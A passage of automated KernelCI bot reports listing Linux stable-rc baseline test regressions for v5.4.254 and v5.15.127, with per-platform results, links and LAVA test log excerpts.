hp-x360-12b-c...4020-octopus | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
hp-x360-14-G1-sona | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
rk3399-gru-kevin | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 2
Details: https://kernelci.org/test/job/stable-rc/branch/linux-5.4.y/kernel/v5.4.254/…
Test: baseline
Tree: stable-rc
Branch: linux-5.4.y
Describe: v5.4.254
URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git
SHA: fd2a1d1f32ea37c57a8b46a0857f06fd7274dd2c
Test Regressions
----------------
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
cubietruck | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd42c132dd06db7635b1fd
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm/multi_v7_d…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm/multi_v7_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd42c132dd06db7635b202
failing since 211 days (last pass: v5.4.226-68-g8c05f5e0777d, first fail: v5.4.228-659-gb3b34c474ec7)
2023-08-16T21:41:59.461455 <8>[ 9.829711] <LAVA_SIGNAL_ENDRUN 0_dmesg 3744085_1.5.2.4.1>
2023-08-16T21:41:59.571101 / # #
2023-08-16T21:41:59.672892 export SHELL=/bin/sh
2023-08-16T21:41:59.673396 #
2023-08-16T21:41:59.774842 / # export SHELL=/bin/sh. /lava-3744085/environment
2023-08-16T21:41:59.775799
2023-08-16T21:41:59.877817 / # . /lava-3744085/environment/lava-3744085/bin/lava-test-runner /lava-3744085/1
2023-08-16T21:41:59.878459
2023-08-16T21:41:59.883833 / # /lava-3744085/bin/lava-test-runner /lava-3744085/1
2023-08-16T21:41:59.964226 + export 'TESTRUN_ID=1_bootrr'
... (11 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hifive-unleashed-a00 | riscv | lab-baylibre | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd3fef0280cfa63c35b203
Results: 3 PASS, 2 FAIL, 2 SKIP
Full config: defconfig
Compiler: gcc-10 (riscv64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/riscv/defconfi…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/riscv/defconfi…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.dmesg.crit: https://kernelci.org/test/case/id/64dd3ff00280cfa63c35b20b
failing since 301 days (last pass: v5.4.219, first fail: v5.4.219-267-g4a976f825745)
3 lines
2023-08-16T21:29:58.394788 / #
2023-08-16T21:29:58.402787
2023-08-16T21:29:58.508936 / # #
2023-08-16T21:29:58.514341 #
2023-08-16T21:29:58.616989 / # export SHELL=/bin/sh
2023-08-16T21:29:58.626546 export SHELL=/bin/sh
2023-08-16T21:29:58.728769 / # . /lava-3743981/environment
2023-08-16T21:29:58.738688 . /lava-3743981/environment
2023-08-16T21:29:58.841171 / # /lava-3743981/bin/lava-test-runner /lava-3743981/0
2023-08-16T21:29:58.850598 /lava-3743981/bin/lava-test-runner /lava-3743981/0
... (10 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-12b-c...4020-octopus | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd40cce54f82562a35b253
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/x86_64/x86_64_…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/x86_64/x86_64_…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd40cce54f82562a35b258
failing since 139 days (last pass: v5.4.238, first fail: v5.4.238)
2023-08-16T21:34:54.505394 + <8>[ 10.342914] <LAVA_SIGNAL_ENDRUN 0_dmesg 11303216_1.4.2.3.1>
2023-08-16T21:34:54.508595 set +x
2023-08-16T21:34:54.613178 /#
2023-08-16T21:34:54.715755 # #export SHELL=/bin/sh
2023-08-16T21:34:54.716488
2023-08-16T21:34:54.817970 / # export SHELL=/bin/sh. /lava-11303216/environment
2023-08-16T21:34:54.818731
2023-08-16T21:34:54.920310 / # . /lava-11303216/environment/lava-11303216/bin/lava-test-runner /lava-11303216/1
2023-08-16T21:34:54.921432
2023-08-16T21:34:54.927045 / # /lava-11303216/bin/lava-test-runner /lava-11303216/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-14-G1-sona | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd409c317ecb573535b1eb
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/x86_64/x86_64_…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/x86_64/x86_64_…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd409c317ecb573535b1f0
failing since 139 days (last pass: v5.4.238, first fail: v5.4.238)
2023-08-16T21:33:05.859089 <8>[ 13.195748] <LAVA_SIGNAL_ENDRUN 0_dmesg 11303252_1.4.2.3.1>
2023-08-16T21:33:05.862651 + set +x
2023-08-16T21:33:05.967322 #
2023-08-16T21:33:06.068467 / # #export SHELL=/bin/sh
2023-08-16T21:33:06.068843
2023-08-16T21:33:06.169889 / # export SHELL=/bin/sh. /lava-11303252/environment
2023-08-16T21:33:06.170625
2023-08-16T21:33:06.272226 / # . /lava-11303252/environment/lava-11303252/bin/lava-test-runner /lava-11303252/1
2023-08-16T21:33:06.273442
2023-08-16T21:33:06.278974 / # /lava-11303252/bin/lava-test-runner /lava-11303252/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd434fa671cb6aa135b1d9
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd434fa671cb6aa135b1da
failing since 378 days (last pass: v5.4.180-59-g4f62141869c8, first fail: v5.4.209)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd452dada9ba74ea35b1e7
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd452dada9ba74ea35b1e8
failing since 358 days (last pass: v5.4.180-59-g4f62141869c8, first fail: v5.4.210-390-g1cece69eaa88)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd42b8d39fe2704135b20c
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd42b8d39fe2704135b20d
failing since 378 days (last pass: v5.4.180-59-g4f62141869c8, first fail: v5.4.209)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd44a4fa8fafd9d635b1e3
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd44a4fa8fafd9d635b1e4
failing since 358 days (last pass: v5.4.180-59-g4f62141869c8, first fail: v5.4.210-390-g1cece69eaa88)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd438dea446e95d235b20d
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd438dea446e95d235b20e
failing since 380 days (last pass: v5.4.180-59-g4f62141869c8, first fail: v5.4.207-123-gb48a8f43dce6)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd452d758809de4135b1eb
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd452d758809de4135b1ec
failing since 380 days (last pass: v5.4.180-59-g4f62141869c8, first fail: v5.4.207-123-gb48a8f43dce6)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd42e132dd06db7635b210
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd42e132dd06db7635b211
failing since 380 days (last pass: v5.4.180-59-g4f62141869c8, first fail: v5.4.207-123-gb48a8f43dce6)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd44a4960861113c35b1e8
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd44a4960861113c35b1e9
failing since 380 days (last pass: v5.4.180-59-g4f62141869c8, first fail: v5.4.207-123-gb48a8f43dce6)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd436610a84e31f535b1df
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd436610a84e31f535b1e0
failing since 378 days (last pass: v5.4.180-59-g4f62141869c8, first fail: v5.4.209)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd452c1c9df3619035b1da
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd452c1c9df3619035b1db
failing since 378 days (last pass: v5.4.180-59-g4f62141869c8, first fail: v5.4.209)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd42cc32dd06db7635b208
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd42cc32dd06db7635b209
failing since 378 days (last pass: v5.4.180-59-g4f62141869c8, first fail: v5.4.209)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd44a44b70a52d9235b1e8
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd44a44b70a52d9235b1e9
failing since 378 days (last pass: v5.4.180-59-g4f62141869c8, first fail: v5.4.209)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd43647fbe27691635b1fd
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd43647fbe27691635b1fe
failing since 366 days (last pass: v5.4.180-59-g4f62141869c8, first fail: v5.4.210-258-ge86027f8111f5)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd438ebce46751e435b26a
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd438ebce46751e435b26b
failing since 358 days (last pass: v5.4.180-59-g4f62141869c8, first fail: v5.4.210-390-g1cece69eaa88)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd42b9821fa4f8f835b32f
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd42b9821fa4f8f835b330
failing since 366 days (last pass: v5.4.180-59-g4f62141869c8, first fail: v5.4.210-258-ge86027f8111f5)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd433114a837d1e535b1f7
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd433114a837d1e535b1f8
failing since 358 days (last pass: v5.4.180-59-g4f62141869c8, first fail: v5.4.210-390-g1cece69eaa88)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
rk3399-gru-kevin | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 2
Details: https://kernelci.org/test/plan/id/64dd41b2b60cf9e67b35b206
Results: 82 PASS, 2 FAIL, 1 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.4.y/v5.4.254/arm64/defconfi…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.rockchip-usb2phy1-probed: https://kernelci.org/test/case/id/64dd41b2b60cf9e67b35b20c
failing since 155 days (last pass: v5.4.235, first fail: v5.4.235-4-gb829e8b6e1a7)
2023-08-16T21:37:33.091862 /lava-11303271/1/../bin/lava-test-case
* baseline.bootrr.rockchip-usb2phy0-probed: https://kernelci.org/test/case/id/64dd41b2b60cf9e67b35b20d
failing since 155 days (last pass: v5.4.235, first fail: v5.4.235-4-gb829e8b6e1a7)
2023-08-16T21:37:32.069915 /lava-11303271/1/../bin/lava-test-case
2023-08-16T21:37:32.078698 <8>[ 32.359183] <LAVA_SIGNAL_TESTCASE TEST_CASE_ID=rockchip-usb2phy0-probed RESULT=fail>
2 years, 4 months
- 1
- 0
stable-rc/linux-5.15.y baseline: 118 runs, 13 regressions (v5.15.127)
by kernelci.org bot
stable-rc/linux-5.15.y baseline: 118 runs, 13 regressions (v5.15.127)
Regressions Summary
-------------------
platform | arch | lab | compiler | defconfig | regressions
--------------------------+--------+---------------+----------+------------------------------+------------
asus-C436FA-Flip-hatch | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
asus-cx9400-volteer | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
at91-sama5d4_xplained | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
beagle-xm | arm | lab-baylibre | gcc-10 | omap2plus_defconfig | 1
cubietruck | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
fsl-ls2088a-rdb | arm64 | lab-nxp | gcc-10 | defconfig | 1
fsl-lx2160a-rdb | arm64 | lab-nxp | gcc-10 | defconfig | 1
hp-x360-14-G1-sona | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
hp-x360-14a-cb0001xx-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
lenovo-TPad-C13-Yoga-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
r8a77960-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
r8a779m1-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
sun50i-h6-pine-h64 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/job/stable-rc/branch/linux-5.15.y/kernel/v5.15.12…
Test: baseline
Tree: stable-rc
Branch: linux-5.15.y
Describe: v5.15.127
URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git
SHA: f6f7927ac664ba23447f8dd3c3dfe2f4ee39272f
Test Regressions
----------------
platform | arch | lab | compiler | defconfig | regressions
--------------------------+--------+---------------+----------+------------------------------+------------
asus-C436FA-Flip-hatch | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd387915ddb94a6f35b1e6
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/x86_64/x86_6…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/x86_64/x86_6…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd387915ddb94a6f35b1eb
failing since 140 days (last pass: v5.15.104, first fail: v5.15.104-147-gea115396267e)
2023-08-16T20:58:10.061151 + set +x
2023-08-16T20:58:10.068194 <8>[ 11.047638] <LAVA_SIGNAL_ENDRUN 0_dmesg 11302944_1.4.2.3.1>
2023-08-16T20:58:10.176572 / # #
2023-08-16T20:58:10.279082 export SHELL=/bin/sh
2023-08-16T20:58:10.280075 #
2023-08-16T20:58:10.381606 / # export SHELL=/bin/sh. /lava-11302944/environment
2023-08-16T20:58:10.382359
2023-08-16T20:58:10.484110 / # . /lava-11302944/environment/lava-11302944/bin/lava-test-runner /lava-11302944/1
2023-08-16T20:58:10.484413
2023-08-16T20:58:10.490339 / # /lava-11302944/bin/lava-test-runner /lava-11302944/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
--------------------------+--------+---------------+----------+------------------------------+------------
asus-cx9400-volteer | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd38781ad068017635b1e6
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/x86_64/x86_6…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/x86_64/x86_6…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd38781ad068017635b1eb
failing since 140 days (last pass: v5.15.104, first fail: v5.15.104-147-gea115396267e)
2023-08-16T20:58:08.558387 <8>[ 11.043094] <LAVA_SIGNAL_ENDRUN 0_dmesg 11302939_1.4.2.3.1>
2023-08-16T20:58:08.561899 + set +x
2023-08-16T20:58:08.663310
2023-08-16T20:58:08.763885 / # #export SHELL=/bin/sh
2023-08-16T20:58:08.764054
2023-08-16T20:58:08.864570 / # export SHELL=/bin/sh. /lava-11302939/environment
2023-08-16T20:58:08.864730
2023-08-16T20:58:08.965249 / # . /lava-11302939/environment/lava-11302939/bin/lava-test-runner /lava-11302939/1
2023-08-16T20:58:08.965489
2023-08-16T20:58:08.970737 / # /lava-11302939/bin/lava-test-runner /lava-11302939/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
--------------------------+--------+---------------+----------+------------------------------+------------
at91-sama5d4_xplained | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd3c062533d6c23535b201
Results: 0 PASS, 1 FAIL, 0 SKIP
